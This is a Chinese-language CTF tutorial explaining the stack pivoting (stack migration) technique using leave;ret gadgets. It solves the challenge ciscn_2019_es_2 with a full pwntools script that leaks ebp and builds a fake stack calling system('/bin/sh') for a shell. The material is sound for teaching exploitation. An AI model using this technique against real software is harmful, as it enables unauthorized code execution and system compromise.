栈迁移用途及原理:
用途:通常的函数栈剩余空间是足够放置一些恶意指令的,但也有少数极端情况,例如仅能容纳一个 ret与一个 ebp。此时,一般的栈溢出攻击方法将由于空间太小而不再适用。
原理:如果将栈上 ret 部分覆盖为另一组 leave ret指令(gadget)的地址,即最终程序退出时会执行两次 leave 指令,一次 ret 指令。由此,当 pop ebp 被第一次执行后, eip 将指向又一条 mov esp, ebp指令的地址,而此时 ebp 寄存器的内容已变为了第一次 pop ebp 时,被篡改过的栈上 ebp 的数据。这样, esp 就会到了另外的一处内存空间,从而整个函数的栈空间也完成了「迁移」。再使用eip进行执行操作进而提权。
还有另一种理解:leave指令即为mov esp ebp;pop ebp先将ebp赋给esp,此时esp与ebp位于了一个地址,你可以现在把它们指向的那个地址,即当成栈顶又可以当成是栈底。然后pop ebp,将栈顶的内容弹入ebp(此时栈顶的内容也就是ebp的内容,也就是说现在把ebp的内容赋给了ebp)
【本质就是ebp和esp的移动使栈上有我们需要的提权内容及利用eip进行执行操作】
leave=mov esp,ebp
pop ebp
【将pop ebp后esp将指向栈中上层函数返回地址(即:都将ebp pop 了,esp当前指的为空所以esp要移动一个栈帧)
如图所示:
ret=pop eip
重点:payload发送后栈上有了内容,再执行leave_ret,将ebp指向能够执行shell段位置(如下面例题指向变量aaaa所在栈地址)
背景介绍:
栈由高到低,自顶向下增长,ebp指向栈底 【减(push)即指针向高移,加(pop)即指针向低移】。栈溢出能使我们覆盖栈上某些区域的值,甚至是当前函数的返回地址 ret ;一旦 ret 覆盖为某个奇怪的值,例如 0xdeadbeaf,当函数结束恢复现场,即 eip 指向 ret 时,程序将会跳转到内存中的 0xdeadbeaf 处。此时,内核会立即告诉我们“SIGSEV”,即常见的段错误(Segment Fault)。注意:函数传参时从右往左。
段(segment)和节(section):
代码段(Text segment)包含了代码与只读数据
.text节
# 实行用户所定义的功能
.rodata节 # 只读数据
.hash节
.dynsym节
.dynstr节
.plt节
#解析动态函数的实际地址【这里的实际地址是保存在下面数据段中的.got.plt节
】
.rel.got节
数据段(Data segment)包含了可读可写数据
.data节
.dynamic节
.got节
.got.plt节
#用来保存上面.plt节
里代码解析到的实际地址
.bss节
#保存没有初始化的变量
...
栈段(Stack segment)
一个段
包含多个节
段试图用于进程
的内存
区域的rwx权限划分
部分寄存器的功能:
•RIP #相当与上面所讲的PC
•存放当前执行的指令的地址
•RSP
•存放当前栈帧的栈顶地址
•RBP
•存放当前栈帧的栈底地址
•RAX
•通用寄存器。存放函数返回值
栈迁移中栈内具体执行过程:
开始执行第一个leave,此时mov esp ebp让两个指针处于同一位置,现在还是正常运行,接着执行pop ebp,因为此时ebp的内容被修改成了要跳转的地址,此时执行pop ebp,ebp并没有弹到它本应该去的地方【正常情况下,ebp里装的内容,就是它接下来执行pop ebp要去的地方】,而是弹到了我们修改的那个迁移后的地址,接着执行了pop eip,eip里放的又是leave——ret的地址(因为此时是把返回地址弹给eip,这个返回地址我们给覆盖成leave_ret的地址。结果又执行了leave(现在执行第二个leave),此时是栈迁移的核心部分,第二次mov esp ebp,ebp赋给了esp,此时esp挪到了ebp的位置,现在的ebp已经被修改到了我们迁移后的地址,因此现在esp也到了迁移后的地址,接着pop ebp,把这个栈顶的内容弹给ebp,esp指向了下一个内存单元,此时我们只需要将这个内存单元放入system函数的地址,最后执行了pop eip,此时system函数进入了eip中,即可GetShell。具体看下图:
第一次 leave_ret:
第二次 leave_ret:
注意:栈内的内容都是通过payload发送过去的,最后的两个aaaa仅仅是起到了一个填充的效果。我们想要实现栈迁移,就必须执行两个leave;ret,main函数正常结束,只有一个level;ret,因此我们在这里必须要它的返回地址写成leave;ret地址,以来进行第二次leave;ret。
下面做一道经典例题:ciscn_2019_es_2
可以看到是32位开启了NX保护,用IDA打开:
发现system,但这是坑,只输出flag,所以看伪函数:
发现read()函数读入有限制,因为所给空间不够所以并不能完美构造ROP链,此时我们想到栈迁移。
首先我们需要得到原ebp地址,所以利用printf函数特性:printf 这一输出函数,该函数在未遇到终止符 '\0' 时会一直输出。利用该特性可帮助我们泄露出栈上的地址,从而能计算出要劫持到栈上的准确地址。
from pwn import *
p = remote("node4.buuoj.cn", 27576)
system_addr = 0x08048400
leave_ret = 0x080484b8
payload1 = b'A' * (0x27) + b'B'
p.send(payload1) # not sendline
p.recvuntil("B\n")
original_ebp = u32(p.recv(4))
print(hex(original_ebp))
payload2 = b'aaaa'
payload2 += p32(system_addr)
payload2 += b'bbbb' # fake stack ebp
payload2 += p32(original_ebp - 0x28) # addr of binsh
payload2 += b'/bin/sh\x00' # at ebp-0x28
payload2 = payload2.ljust(0x28, b'p')
payload2 += p32(original_ebp - 0x38) # hijack ebp ,-0x38 is the aaaa
payload2 += p32(leave_ret) # new leave ret
p.sendline(payload2)
p.interactive()
总结:
栈迁移能成功实施的核心原因就是,程序中存在着能让 ebp 修改 esp 内容的gadget,如示例中的 leave ret 指令。只有这样,篡改 ebp 后才能影响到 esp 。换言之,任何使用栈上数据修改 esp 的行为都是十分危险的,而在栈迁移中,恰好就用能被轻易修改的 ebp 实现了对 esp 的篡改。
如果有错误请大佬们在评论中指出,若有不懂的地方也可以留言,我会回复的。
本文制作不易,仅供学习使用